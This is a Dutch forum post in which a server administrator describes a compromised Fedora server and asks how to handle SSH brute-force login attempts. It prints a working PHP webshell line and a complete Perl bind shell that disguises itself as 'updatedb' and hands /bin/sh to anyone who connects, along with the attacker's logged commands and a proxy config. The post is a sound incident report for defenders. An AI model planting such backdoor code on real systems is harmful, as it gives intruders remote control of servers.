Ik beheer een fedora core 1 server waar enkele websites en mail op draaien.
Sinds een tijdje staan mijn logs vol met inlogfouten.
Zo is mijn logwatch van 120K per dag naar 5500K gegaan (dat is 5.5Mb!).
In dit topic beschrijf ik hoe ik tot nu toe heb geprobeerd hieriets aan te doen. Ik hoop wat reacties te krijgen van mensen die soortgelijks meegemaakt hebben.
De logfiles staan vol met typische gebruikersnamen, zoals bijvoorbeeld :
Ze komen ook van verschillende ip's, ik ben ondertussen de tel al kwijt.
Ik heb wat ip's afgelopen, en er kwamen japanse en chinese sites tevoorschijn.
Ik denk zelf dat dit een heleboel zombie pc's zijn die mn server op een erg trieste manier proberen in te breken.
Kijk, op zich ga ik er niet vanuit dat hun inlogattempts zullen slagen, maar toch is het wel erg vervelend.
De actie is volgens mij begonnen rond de tijd dat ik erachter kwam dat een klant van mij een 'raar' scriptje had staan, die daar door zn ongeupdate software waarschijnlijk gekomen was.
Met dat ding kon je via apache commando's runnen (het heette webshell.php), waar enkel dit in te vinden was :
Deze aangemaakte processen draaide natuurlijk onder www user, maar ik denk dat ze dit (probeerde) te gebruiken om te spammen. Mijn queue is echter erg schoon, en ik heb geen rare bounce mails ontvangen.
Er draaide een proces onder de www user die er niet hoorde, maar van de /proc werd ik (helaas)niet wijzer.
Ik kwam erachter dat er in dezelfde map ook een perl bestand stond : bind.pl
deze bevatte de volgende code :
Ik ben zelf geen perl programeur, maar volgens mij luisterd dit programma op een poort, wacht op instructies, en voert ze hierna op het filesystem uit.
Er kan ook argv[0] meegegeven worden, dan gaat hij niet op de default poort openstaan.
Mijn computer is (volgens mij) dus nu ook lid van een botnetwerk.
De commando's worden uitgevoerd via web, waarschijnlijk zou dit wel in mijn accesslog staan, deze dus greppen op webshell.php.
Helaas is het een redelijk grote log, maar uiteindelijk zo'n 30 regels.
Hier een lijst van zijn commando's :
ls (14/Aug/2005:21:44:26)
ls
ps
ls
cd data (het is nu 16 aug. 10:45:44)
cd data/src
cd data/src; mv zftp logd
cd data/src; ls
cd data/src; mv zftp.cfg logd.cfg
cd data/src;ls
ls (het is nu 21 aug. 21:03)
cd data/src; ls (hij was 't weer vergeten)
ls (het is nu 31 augustus)
cd data; ls
cd data/src/; ls
cd data/src/; cat logd.cfg
ls (05/Sep/2005:22:21:38)
cd data
cd data; ls
cd data/src/; ls (die kennen we ondertussen wel )
cd data/src/; cat logd
cd data/src/; cat logd.cfg
ls (16/Sep/2005:08:41:55)
cd data/src
cd data/src; ls
cd data/src; cat logd.cfg
ls (17/Sep/2005:22:10:20)
ps
killall -9 logd (hij killt zichzelf!)
cd data/src; ./logd logd.cfg (en hij start zichzelf opnieuw.
ps
(rond deze tijd kreeg ik door dat er een proces draaide wat er niet hoorde, ik had hier echter geen aandacht aan besteed)
ls (18/Sep/2005:16:32:16)
cd data
cd data/src; ls
cd data/src; ps
cd data/src; killall -9 zftp (ik denk dat dit een vergissing van hem is?)
cd data/src; ps
cd data/src; killall -9 logd
cd data/src; ./logd logd.cfg
(dit gebeurt zo nog een paar keer), totdat ik uiteindelijk erachter kwam waar het script vandaan kwam.
Ik heb dit nog eens bestudeerd, en de logd.cfg staat dit :
De logd file is een binary, en ik kan daar niets in vinden. Ik wil hem ook niet runnen, maar ik neem aan dat het gewoon een poortje openzet.
Uiteindelijk heb ik alles weggegooid en heeft de klant zn update gedraait. Sindsdien zit ik dus met die login attempts (het zijn er soms wel 4 per seconde) :
Wat kan ik het beste in dit geval doen ? En hoe realistisch is de kans dat deze 'brute forcing'
'hack' werkt ?
Heeft iemand van jullie dit ook wel eens gehad? En hoe is dat toen afgelopen ?
Bedankt voor jullie interesse
Dyon
Sinds een tijdje staan mijn logs vol met inlogfouten.
Zo is mijn logwatch van 120K per dag naar 5500K gegaan (dat is 5.5Mb!).
In dit topic beschrijf ik hoe ik tot nu toe heb geprobeerd hieriets aan te doen. Ik hoop wat reacties te krijgen van mensen die soortgelijks meegemaakt hebben.
De logfiles staan vol met typische gebruikersnamen, zoals bijvoorbeeld :
code:
1
2
3
4
5
6
7
| Failed password for invalid user loginuse from 216.218.198.110 port 46700 ssh2 Invalid user loginuse from 216.218.198.110 error: Could not get shadow information for NOUSER Failed password for invalid user loginuse from 216.218.198.110 port 46705 ssh2 Invalid user loginuse from 216.218.198.110 error: Could not get shadow information for NOUSER etc |
Ze komen ook van verschillende ip's, ik ben ondertussen de tel al kwijt.
Ik heb wat ip's afgelopen, en er kwamen japanse en chinese sites tevoorschijn.
Ik denk zelf dat dit een heleboel zombie pc's zijn die mn server op een erg trieste manier proberen in te breken.
Kijk, op zich ga ik er niet vanuit dat hun inlogattempts zullen slagen, maar toch is het wel erg vervelend.
De actie is volgens mij begonnen rond de tijd dat ik erachter kwam dat een klant van mij een 'raar' scriptje had staan, die daar door zn ongeupdate software waarschijnlijk gekomen was.
Met dat ding kon je via apache commando's runnen (het heette webshell.php), waar enkel dit in te vinden was :
PHP:
1
2
3
| echo "<H4><pre>"; system($cmd) ; echo "</pre></H4>"; |
Deze aangemaakte processen draaide natuurlijk onder www user, maar ik denk dat ze dit (probeerde) te gebruiken om te spammen. Mijn queue is echter erg schoon, en ik heb geen rare bounce mails ontvangen.
Er draaide een proces onder de www user die er niet hoorde, maar van de /proc werd ik (helaas)niet wijzer.
Ik kwam erachter dat er in dezelfde map ook een perl bestand stond : bind.pl
deze bevatte de volgende code :
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| #!/usr/bin/perl
$port = 32262;
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
accept(X, S);
unless(fork)
{
open STDIN, "<&X";
open STDOUT, ">&X";
open STDERR, ">&X";
close X;
exec("/bin/sh");
}
close X;
} |
Ik ben zelf geen perl programeur, maar volgens mij luisterd dit programma op een poort, wacht op instructies, en voert ze hierna op het filesystem uit.
Er kan ook argv[0] meegegeven worden, dan gaat hij niet op de default poort openstaan.
Mijn computer is (volgens mij) dus nu ook lid van een botnetwerk.
De commando's worden uitgevoerd via web, waarschijnlijk zou dit wel in mijn accesslog staan, deze dus greppen op webshell.php.
Helaas is het een redelijk grote log, maar uiteindelijk zo'n 30 regels.
Hier een lijst van zijn commando's :
ls (14/Aug/2005:21:44:26)
ls
ps
ls
cd data (het is nu 16 aug. 10:45:44)
cd data/src
cd data/src; mv zftp logd
cd data/src; ls
cd data/src; mv zftp.cfg logd.cfg
cd data/src;ls
ls (het is nu 21 aug. 21:03)
cd data/src; ls (hij was 't weer vergeten)
ls (het is nu 31 augustus)
cd data; ls
cd data/src/; ls
cd data/src/; cat logd.cfg
ls (05/Sep/2005:22:21:38)
cd data
cd data; ls
cd data/src/; ls (die kennen we ondertussen wel )
cd data/src/; cat logd
cd data/src/; cat logd.cfg
ls (16/Sep/2005:08:41:55)
cd data/src
cd data/src; ls
cd data/src; cat logd.cfg
ls (17/Sep/2005:22:10:20)
ps
killall -9 logd (hij killt zichzelf!)
cd data/src; ./logd logd.cfg (en hij start zichzelf opnieuw.
ps
(rond deze tijd kreeg ik door dat er een proces draaide wat er niet hoorde, ik had hier echter geen aandacht aan besteed)
ls (18/Sep/2005:16:32:16)
cd data
cd data/src; ls
cd data/src; ps
cd data/src; killall -9 zftp (ik denk dat dit een vergissing van hem is?)
cd data/src; ps
cd data/src; killall -9 logd
cd data/src; ./logd logd.cfg
(dit gebeurt zo nog een paar keer), totdat ik uiteindelijk erachter kwam waar het script vandaan kwam.
Ik heb dit nog eens bestudeerd, en de logd.cfg staat dit :
code:
1
2
3
4
5
6
7
| users DiMONN:CL:AsD12LL log /dev/null external 0.0.0.0 internal MIJNIP auth strong allow * proxy -p5190 -n |
De logd file is een binary, en ik kan daar niets in vinden. Ik wil hem ook niet runnen, maar ik neem aan dat het gewoon een poortje openzet.
Uiteindelijk heb ik alles weggegooid en heeft de klant zn update gedraait. Sindsdien zit ik dus met die login attempts (het zijn er soms wel 4 per seconde) :
Wat kan ik het beste in dit geval doen ? En hoe realistisch is de kans dat deze 'brute forcing'
Heeft iemand van jullie dit ook wel eens gehad? En hoe is dat toen afgelopen ?
Bedankt voor jullie interesse
Dyon